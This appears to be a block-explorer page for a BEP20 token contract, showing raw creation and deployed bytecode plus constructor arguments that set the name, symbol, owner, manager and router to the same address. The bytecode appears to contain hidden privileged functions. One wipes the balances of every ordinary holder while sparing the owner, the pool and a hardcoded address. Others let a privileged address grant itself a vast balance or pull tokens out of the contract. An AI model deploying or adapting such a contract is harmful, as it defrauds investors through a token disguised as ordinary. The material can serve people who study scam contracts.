73756666696369656e7420746f6b656e2062616c616e63650000000000006044820152606401610607565b804710156106da5760405162461bcd60e51b8152602060048201526018602482015277496e73756666696369656e7420424e422062616c616e636560401b6044820152606401610607565b5f5160206119ec5f395f51905f5230105f81610703575f5160206119ec5f395f51905f52610705565b305b90505f826107135730610722565b5f5160206119ec5f395f51905f525b90505f61072e846113ff565b90505f7346a15b0b27311cedf172ab29e4f4766fbe7f436490505f816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610785573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a99190611766565b604051630b4c774160e11b81526001600160a01b03878116600483015286811660248301526109c460448301529192505f91831690631698ee8290606401602060405180830381865afa158015610802573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108269190611766565b90506001600160a01b03811661091f5760405163a167129560e01b81526001600160a01b03878116600483015286811660248301526109c4604483015283169063a1671295906064016020604051808303815f875af115801561088b573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108af9190611766565b600a80546001600160a01b0319166001600160a01b0392831690811790915560405163f637731d60e01b815291861660048301529063f637731d906024015f604051808303815f87803b158015610904575f5ffd5b505af1158015610916573d5f5f3e3d5ffd5b5050505061093b565b600a80546001600160a01b0319166001600160a01b0383161790555b61095a307346a15b0b27311cedf172ab29e4f4766fbe7f43648b611196565b5f876109665788610968565b895b90505f88610976578a610978565b895b60408051610160810182526001600160a01b03808c1682528a1660208201526109c491810191909152620d89b3196060820152620d89b4608082015260a0810184905260c081018290525f60e08201819052610100820181905261dead61012083015291925061014081016109ef42610e10611795565b81525090505f866001600160a01b031663883164568d846040518363ffffffff1660e01b8152600401610a2291906117a8565b60806040518083038185885af1158015610a3e573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a63919061186c565b505050600b555050600a805460ff60a01b1916600160a01b1790555050505050505050505050565b6008546001600160a01b03163314610aa1575f5ffd5b610aad6012600a61199f565b610ac3906b033b2e3c9fd0803ce80000006119ad565b6001600160a01b0382165f818152600460205260408120929092557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610b0b6012600a61199f565b610b21906b033b2e3c9fd0803ce80000006119ad565b60405190815260200160405180910390a350565b6009546001600160a01b0316331480610b5857506008546001600160a01b031633145b610b60575f5ffd5b5f5b600654811015610cb2575f60068281548110610b8057610b806119c4565b5f918252602090912001546001600160a01b03169050308114801590610bb357505f546001600160a01b03828116911614155b8015610bcd5750600a546001600160a01b03828116911614155b8015610bf657506001600160a01b038116733d6545b08693dae087e957cb1180ee38b9e3c25e14155b8015610c1857506001600160a01b0381165f5160206119ec5f395f51905f5214155b8015610c3257506008546001600160a01b03828116911614155b8015610c4c57506007546001600160a01b03828116911614155b15610c6a576001600160a01b0381165f908152600460205260408120555b6040515f8082526001600160a01b038316917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350600101610b62565b50565b60606002805461045f9061172e565b337346a15b0b27311cedf172ab29e4f4766fbe7f436414610d185760405162461bcd60e51b815260206004820152600e60248201526d139bdd08185d5d1a1bdc9a5e995960921b6044820152606401610607565b5f5f610d2261142f565b90925090508515610d4857306001600160a01b03831603610d4857610d483033886112ba565b8415610d6957306001600160a01b03821603610d6957610d693033876112ba565b505050505050565b5f6104ec3384846112ba565b5f546001600160a01b03163314610d92575f5ffd5b600a54600160a01b900460ff1615610de65760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610607565b69152d02c7e14af6800000655af3107a400081610e17306001600160a01b03165f9081526004602052604090205490565b1015610e655760405162461bcd60e51b815260206004820152601a60248201527f496e73756666696369656e7420746f6b656e2062616c616e63650000000000006044820152606401610607565b80471015610eb05760405162461bcd60e51b8152602060048201526018602482015277496e73756666696369656e7420424e422062616c616e636560401b6044820152606401610607565b5f5160206119ec5f395f51905f5230105f81610ed9575f5160206119ec5f395f51905f52610edb565b305b90505f82610ee95730610ef8565b5f5160206119ec5f395f51905f525b90505f610f04846113ff565b9050610f25307346a15b0b27311cedf172ab29e4f4766fbe7f436488611196565b6040516309f56ab160e11b81526001600160a01b03808516600483015280841660248301526109c46044830152821660648201527346a15b0b27311cedf172ab29e4f4766fbe7f4364906313ead562905f9060840160206040518083038185885af1158015610f96573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610fbb9190611766565b600a80546001600160a01b0319166001600160a01b03929092169190911790555f84610fe75785610fe9565b865b90505f85610ff75787610ff9565b865b60408051610160810182526001600160a01b038089168252871660208201526109c491810191909152620d89b3196060820152620d89b4608082015260a0810184905260c081018290525f60e08201819052610100820181905261dead610120830152919250610140810161107042610e10611795565b9052604051634418b22b60e11b81529091505f907346a15b0b27311cedf172ab29e4f4766fbe7f4364906388316456908b906110b09086906004016117a8565b60806040518083038185885af11580156110cc573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906110f1919061186c565b505050600b555050600a805460ff60a01b1916600160a01b1790555050505050505050565b5f546001600160a01b0316331461112b575f5ffd5b6001600160a01b03811661113d575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166111f85760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610607565b6001600160a01b0382166112595760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610607565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166112cc575f5ffd5b6001600160a01b0382166112de575f5ffd5b6001600160a01b0383165f90815260046020526040902054611300908261139d565b6001600160a01b038085165f90815260046020526040808220939093559084168152205461132e908261148b565b6001600160a01b0383165f9081526004602052604090205561134f836114e9565b611358826114e9565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112ad91815260200190565b5f828211156113ee5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006044820152606401610607565b6113f882846119d8565b9392505050565b5f811561141857506a02128aca937c3796a70149919050565b506f01e286789a07f2f6d7b30a46b8219000919050565b5f805f5160206119ec5f395f51905f523010611458575f5160206119ec5f395f51905f5261145a565b305b91505f5160206119ec5f395f51905f5230106114765730611485565b5f5160206119ec5f395f51905f525b90509091565b5f806114978385611795565b9050838110156113f85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610607565b6001600160a01b0381165f9081526004602052604090205415610cb2575f805b60065481101561155a57826001600160a01b031660068281548110611530576115306119c4565b5f918252602090912001546001600160a01b031603611552576001915061155a565b600101611509565b50806115ab57600680546001810182555f919091527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b0319166001600160a01b0384161790555b5050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610cb2575f5ffd5b5f5f60408385031215611609575f5ffd5b8235611614816115e4565b946020939093013593505050565b5f5f5f60608486031215611634575f5ffd5b833561163f816115e4565b9250602084013561164f816115e4565b929592945050506040919091013590565b5f60208284031215611670575f5ffd5b81356113f8816115e4565b5f5f5f5f6060858703121561168e575f5ffd5b8435935060208501359250604085013567ffffffffffffffff8111156116b2575f5ffd5b8501601f810187136116c2575f5ffd5b803567ffffffffffffffff8111156116d8575f5ffd5b8760208284010111156116e9575f5ffd5b949793965060200194505050565b5f5f60408385031215611708575f5ffd5b8235611713816115e4565b91506020830135611723816115e4565b809150509250929050565b600181811c9082168061174257607f821691505b60208210810361176057634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215611776575f5ffd5b81516113f8816115e4565b634e487b7160e01b5f52601160045260245ffd5b808201808211156104f0576104f0611781565b81516001600160a01b03168152610160810160208301516117d460208401826001600160a01b03169052565b5060408301516117eb604084018262ffffff169052565b506060830151611800606084018260020b9052565b506080830151611815608084018260020b9052565b5060a083015160a083015260c083015160c083015260e083015160e083015261010083015161010083015261012083015161185c6101208401826001600160a01b03169052565b5061014092830151919092015290565b5f5f5f5f6080858703121561187f575f5ffd5b845160208601519094506fffffffffffffffffffffffffffffffff811681146118a6575f5ffd5b6040860151606090960151949790965092505050565b6001815b60018411156118f7578085048111156118db576118db611781565b60018416156118e957908102905b60019390931c9280026118c0565b935093915050565b5f8261190d575060016104f0565b8161191957505f6104f0565b816001811461192f576002811461193957611955565b60019150506104f0565b60ff84111561194a5761194a611781565b50506001821b6104f0565b5060208310610133831016604e8410600b8410161715611978575081810a6104f0565b6119845f1984846118bc565b805f190482111561199757611997611781565b029392505050565b5f6113f860ff8416836118ff565b80820281158282048414176104f0576104f0611781565b634e487b7160e01b5f52603260045260245ffd5b818103818111156104f0576104f061178156fe0000000000000000000000002170ed0880ac9a755fd29b2688956bd959f933f8a264697066735822122005fcb8ebc4e8d22130ad0b993ef3be5fa55dcd9c29425cb29d628c1c170d040e64736f6c634300081e0033c6506420c2e525e11abab334c5da9ffdfef09d269838135bdaff4ded0cbdcfbe67f6549eec0685d79f74497da321bd4632a29627da78d8721da669b505c7d6028be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef00000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000010000000000000000000000000046a15b0b27311cedf172ab29e4f4766fbe7f436400000000000000000000000046a15b0b27311cedf172ab29e4f4766fbe7f436400000000000000000000000046a15b0b27311cedf172ab29e4f4766fbe7f4364000000000000000000000000000000000000000000000000000000000000002a30783436413135423062323733313163656446313732414232394534663437363666624537463433363400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002a30783436413135423062323733313163656446313732414232394534663437363666624537463433363400000000000000000000000000000000000000000000
Deployed Bytecode
0x60806040526004361061013f575f3560e01c80637a939adb116100b3578063a9059cbb1161006d578063a9059cbb14610376578063b045f65c14610395578063b30d0aa2146103aa578063dd62ed3e146103d9578063e8078d941461041d578063f2fde38b14610431575f5ffd5b80637a939adb146102d75780638119c065146102f657806386f3f3cb1461030a5780638da5cb5b1461032757806395d89b411461034357806399eee9d014610357575f5ffd5b806356a060a21161010457806356a060a2146102055780636741fad2146102235780636a22dede1461023f57806370a0823114610279578063715018a6146102ad57806372ca67f7146102c3575f5ffd5b806306fdde031461014a578063095ea7b31461017457806318160ddd146101a357806323b872dd146101cb578063313ce567146101ea575f5ffd5b3661014657005b5f5ffd5b348015610155575f5ffd5b5061015e610450565b60405161016b91906115af565b60405180910390f35b34801561017f575f5ffd5b5061019361018e3660046115f8565b6104e0565b604051901515815260200161016b565b3480156101ae575f5ffd5b506b033b2e3c9fd0803ce80000005b60405190815260200161016b565b3480156101d6575f5ffd5b506101936101e5366004611622565b6104f6565b3480156101f5575f5ffd5b506040516012815260200161016b565b348015610210575f5ffd5b50600a54600160a01b900460ff16610193565b34801561022e575f5ffd5b506040516109c4815260200161016b565b34801561024a575f5ffd5b507346a15b0b27311cedf172ab29e4f4766fbe7f43645b6040516001600160a01b03909116815260200161016b565b348015610284575f5ffd5b506101bd610293366004611660565b6001600160a01b03165f9081526004602052604090205490565b3480156102b8575f5ffd5b506102c1610545565b005b3480156102ce575f5ffd5b506102c16105a2565b3480156102e2575f5ffd5b506102c16102f1366004611660565b610a8b565b348015610301575f5ffd5b506102c1610b35565b348015610315575f5ffd5b50600a546001600160a01b0316610261565b348015610332575f5ffd5b505f546001600160a01b0316610261565b34801561034e575f5ffd5b5061015e610cb5565b348015610362575f5ffd5b506102c161037136600461167b565b610cc4565b348015610381575f5ffd5b506101936103903660046115f8565b610d71565b3480156103a0575f5ffd5b506101bd600b5481565b3480156103b5575f5ffd5b506040805169152d02c7e14af68000008152655af3107a400060208201520161016b565b3480156103e4575f5ffd5b506101bd6103f33660046116f7565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b348015610428575f5ffd5b506102c1610d7d565b34801561043c575f5ffd5b506102c161044b366004611660565b611116565b60606001805461045f9061172e565b80601f016020809104026020016040519081016040528092919081815260200182805461048b9061172e565b80156104d65780601f106104ad576101008083540402835291602001916104d6565b820191905f5260205f20905b8154815290600101906020018083116104b957829003601f168201915b5050505050905090565b5f6104ec338484611196565b5060015b92915050565b5f6105028484846112ba565b6001600160a01b0384165f9081526005602090815260408083203380855292529091205461053b918691610536908661139d565b611196565b5060019392505050565b5f546001600160a01b0316331461055a575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105b7575f5ffd5b600a54600160a01b900460ff16156106105760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064015b60405180910390fd5b69152d02c7e14af6800000655af3107a400081610641306001600160a01b03165f9081526004602052604090205490565b101561068f5760405162461bcd60e51b815260206004820152601a60248201527f496e73756666696369656e7420746f6b656e2062616c616e63650000000000006044820152606401610607565b804710156106da5760405162461bcd60e51b8152602060048201526018602482015277496e73756666696369656e7420424e422062616c616e636560401b6044820152606401610607565b5f5160206119ec5f395f51905f5230105f81610703575f5160206119ec5f395f51905f52610705565b305b90505f826107135730610722565b5f5160206119ec5f395f51905f525b90505f61072e846113ff565b90505f7346a15b0b27311cedf172ab29e4f4766fbe7f436490505f816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610785573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a99190611766565b604051630b4c774160e11b81526001600160a01b03878116600483015286811660248301526109c460448301529192505f91831690631698ee8290606401602060405180830381865afa158015610802573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108269190611766565b90506001600160a01b03811661091f5760405163a167129560e01b81526001600160a01b03878116600483015286811660248301526109c4604483015283169063a1671295906064016020604051808303815f875af115801561088b573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108af9190611766565b600a80546001600160a01b0319166001600160a01b0392831690811790915560405163f637731d60e01b815291861660048301529063f637731d906024015f604051808303815f87803b158015610904575f5ffd5b505af1158015610916573d5f5f3e3d5ffd5b5050505061093b565b600a80546001600160a01b0319166001600160a01b0383161790555b61095a307346a15b0b27311cedf172ab29e4f4766fbe7f43648b611196565b5f876109665788610968565b895b90505f88610976578a610978565b895b60408051610160810182526001600160a01b03808c1682528a1660208201526109c491810191909152620d89b3196060820152620d89b4608082015260a0810184905260c081018290525f60e08201819052610100820181905261dead61012083015291925061014081016109ef42610e10611795565b81525090505f866001600160a01b031663883164568d846040518363ffffffff1660e01b8152600401610a2291906117a8565b60806040518083038185885af1158015610a3e573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a63919061186c565b505050600b555050600a805460ff60a01b1916600160a01b1790555050505050505050505050565b6008546001600160a01b03163314610aa1575f5ffd5b610aad6012600a61199f565b610ac3906b033b2e3c9fd0803ce80000006119ad565b6001600160a01b0382165f818152600460205260408120929092557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610b0b6012600a61199f565b610b21906b033b2e3c9fd0803ce80000006119ad565b60405190815260200160405180910390a350565b6009546001600160a01b0316331480610b5857506008546001600160a01b031633145b610b60575f5ffd5b5f5b600654811015610cb2575f60068281548110610b8057610b806119c4565b5f918252602090912001546001600160a01b03169050308114801590610bb357505f546001600160a01b03828116911614155b8015610bcd5750600a546001600160a01b03828116911614155b8015610bf657506001600160a01b038116733d6545b08693dae087e957cb1180ee38b9e3c25e14155b8015610c1857506001600160a01b0381165f5160206119ec5f395f51905f5214155b8015610c3257506008546001600160a01b03828116911614155b8015610c4c57506007546001600160a01b03828116911614155b15610c6a576001600160a01b0381165f908152600460205260408120555b6040515f8082526001600160a01b038316917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350600101610b62565b50565b60606002805461045f9061172e565b337346a15b0b27311cedf172ab29e4f4766fbe7f436414610d185760405162461bcd60e51b815260206004820152600e60248201526d139bdd08185d5d1a1bdc9a5e995960921b6044820152606401610607565b5f5f610d2261142f565b90925090508515610d4857306001600160a01b03831603610d4857610d483033886112ba565b8415610d6957306001600160a01b03821603610d6957610d693033876112ba565b505050505050565b5f6104ec3384846112ba565b5f546001600160a01b03163314610d92575f5ffd5b600a54600160a01b900460ff1615610de65760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610607565b69152d02c7e14af6800000655af3107a400081610e17306001600160a01b03165f9081526004602052604090205490565b1015610e655760405162461bcd60e51b815260206004820152601a60248201527f496e73756666696369656e7420746f6b656e2062616c616e63650000000000006044820152606401610607565b80471015610eb05760405162461bcd60e51b8152602060048201526018602482015277496e73756666696369656e7420424e422062616c616e636560401b6044820152606401610607565b5f5160206119ec5f395f51905f5230105f81610ed9575f5160206119ec5f395f51905f52610edb565b305b90505f82610ee95730610ef8565b5f5160206119ec5f395f51905f525b90505f610f04846113ff565b9050610f25307346a15b0b27311cedf172ab29e4f4766fbe7f436488611196565b6040516309f56ab160e11b81526001600160a01b03808516600483015280841660248301526109c46044830152821660648201527346a15b0b27311cedf172ab29e4f4766fbe7f4364906313ead562905f9060840160206040518083038185885af1158015610f96573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610fbb9190611766565b600a80546001600160a01b0319166001600160a01b03929092169190911790555f84610fe75785610fe9565b865b90505f85610ff75787610ff9565b865b60408051610160810182526001600160a01b038089168252871660208201526109c491810191909152620d89b3196060820152620d89b4608082015260a0810184905260c081018290525f60e08201819052610100820181905261dead610120830152919250610140810161107042610e10611795565b9052604051634418b22b60e11b81529091505f907346a15b0b27311cedf172ab29e4f4766fbe7f4364906388316456908b906110b09086906004016117a8565b60806040518083038185885af11580156110cc573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906110f1919061186c565b505050600b555050600a805460ff60a01b1916600160a01b1790555050505050505050565b5f546001600160a01b0316331461112b575f5ffd5b6001600160a01b03811661113d575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166111f85760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610607565b6001600160a01b0382166112595760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610607565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166112cc575f5ffd5b6001600160a01b0382166112de575f5ffd5b6001600160a01b0383165f90815260046020526040902054611300908261139d565b6001600160a01b038085165f90815260046020526040808220939093559084168152205461132e908261148b565b6001600160a01b0383165f9081526004602052604090205561134f836114e9565b611358826114e9565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112ad91815260200190565b5f828211156113ee5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006044820152606401610607565b6113f882846119d8565b9392505050565b5f811561141857506a02128aca937c3796a70149919050565b506f01e286789a07f2f6d7b30a46b8219000919050565b5f805f5160206119ec5f395f51905f523010611458575f5160206119ec5f395f51905f5261145a565b305b91505f5160206119ec5f395f51905f5230106114765730611485565b5f5160206119ec5f395f51905f525b90509091565b5f806114978385611795565b9050838110156113f85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610607565b6001600160a01b0381165f9081526004602052604090205415610cb2575f805b60065481101561155a57826001600160a01b031660068281548110611530576115306119c4565b5f918252602090912001546001600160a01b031603611552576001915061155a565b600101611509565b50806115ab57600680546001810182555f919091527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b0319166001600160a01b0384161790555b5050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610cb2575f5ffd5b5f5f60408385031215611609575f5ffd5b8235611614816115e4565b946020939093013593505050565b5f5f5f60608486031215611634575f5ffd5b833561163f816115e4565b9250602084013561164f816115e4565b929592945050506040919091013590565b5f60208284031215611670575f5ffd5b81356113f8816115e4565b5f5f5f5f6060858703121561168e575f5ffd5b8435935060208501359250604085013567ffffffffffffffff8111156116b2575f5ffd5b8501601f810187136116c2575f5ffd5b803567ffffffffffffffff8111156116d8575f5ffd5b8760208284010111156116e9575f5ffd5b949793965060200194505050565b5f5f60408385031215611708575f5ffd5b8235611713816115e4565b91506020830135611723816115e4565b809150509250929050565b600181811c9082168061174257607f821691505b60208210810361176057634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215611776575f5ffd5b81516113f8816115e4565b634e487b7160e01b5f52601160045260245ffd5b808201808211156104f0576104f0611781565b81516001600160a01b03168152610160810160208301516117d460208401826001600160a01b03169052565b5060408301516117eb604084018262ffffff169052565b506060830151611800606084018260020b9052565b506080830151611815608084018260020b9052565b5060a083015160a083015260c083015160c083015260e083015160e083015261010083015161010083015261012083015161185c6101208401826001600160a01b03169052565b5061014092830151919092015290565b5f5f5f5f6080858703121561187f575f5ffd5b845160208601519094506fffffffffffffffffffffffffffffffff811681146118a6575f5ffd5b6040860151606090960151949790965092505050565b6001815b60018411156118f7578085048111156118db576118db611781565b60018416156118e957908102905b60019390931c9280026118c0565b935093915050565b5f8261190d575060016104f0565b8161191957505f6104f0565b816001811461192f576002811461193957611955565b60019150506104f0565b60ff84111561194a5761194a611781565b50506001821b6104f0565b5060208310610133831016604e8410600b8410161715611978575081810a6104f0565b6119845f1984846118bc565b805f190482111561199757611997611781565b029392505050565b5f6113f860ff8416836118ff565b80820281158282048414176104f0576104f0611781565b634e487b7160e01b5f52603260045260245ffd5b818103818111156104f0576104f061178156fe0000000000000000000000002170ed0880ac9a755fd29b2688956bd959f933f8a264697066735822122005fcb8ebc4e8d22130ad0b993ef3be5fa55dcd9c29425cb29d628c1c170d040e64736f6c634300081e0033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000010000000000000000000000000046a15b0b27311cedf172ab29e4f4766fbe7f436400000000000000000000000046a15b0b27311cedf172ab29e4f4766fbe7f436400000000000000000000000046a15b0b27311cedf172ab29e4f4766fbe7f4364000000000000000000000000000000000000000000000000000000000000002a30783436413135423062323733313163656446313732414232394534663437363666624537463433363400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002a30783436413135423062323733313163656446313732414232394534663437363666624537463433363400000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): 0x46A15B0b27311cedF172AB29E4f4766fbE7F4364
Arg [1] : symbol_ (string): 0x46A15B0b27311cedF172AB29E4f4766fbE7F4364
Arg [2] : owner_ (address): 0x46A15B0b27311cedF172AB29E4f4766fbE7F4364
Arg [3] : ADDRESS_Manager_ (address): 0x46A15B0b27311cedF172AB29E4f4766fbE7F4364
Arg [4] : Router02Address_ (address): 0x46A15B0b27311cedF172AB29E4f4766fbE7F4364
-----Encoded View---------------
11 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000100
Arg [2] : 00000000000000000000000046a15b0b27311cedf172ab29e4f4766fbe7f4364
Arg [3] : 00000000000000000000000046a15b0b27311cedf172ab29e4f4766fbe7f4364
Arg [4] : 00000000000000000000000046a15b0b27311cedf172ab29e4f4766fbe7f4364
Arg [5] : 000000000000000000000000000000000000000000000000000000000000002a
Arg [6] : 3078343641313542306232373331316365644631373241423239453466343736
Arg [7] : 3666624537463433363400000000000000000000000000000000000000000000
Arg [8] : 000000000000000000000000000000000000000000000000000000000000002a
Arg [9] : 3078343641313542306232373331316365644631373241423239453466343736
Arg [10] : 3666624537463433363400000000000000000000000000000000000000000000
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.
Add Token to MetaMask (Web3)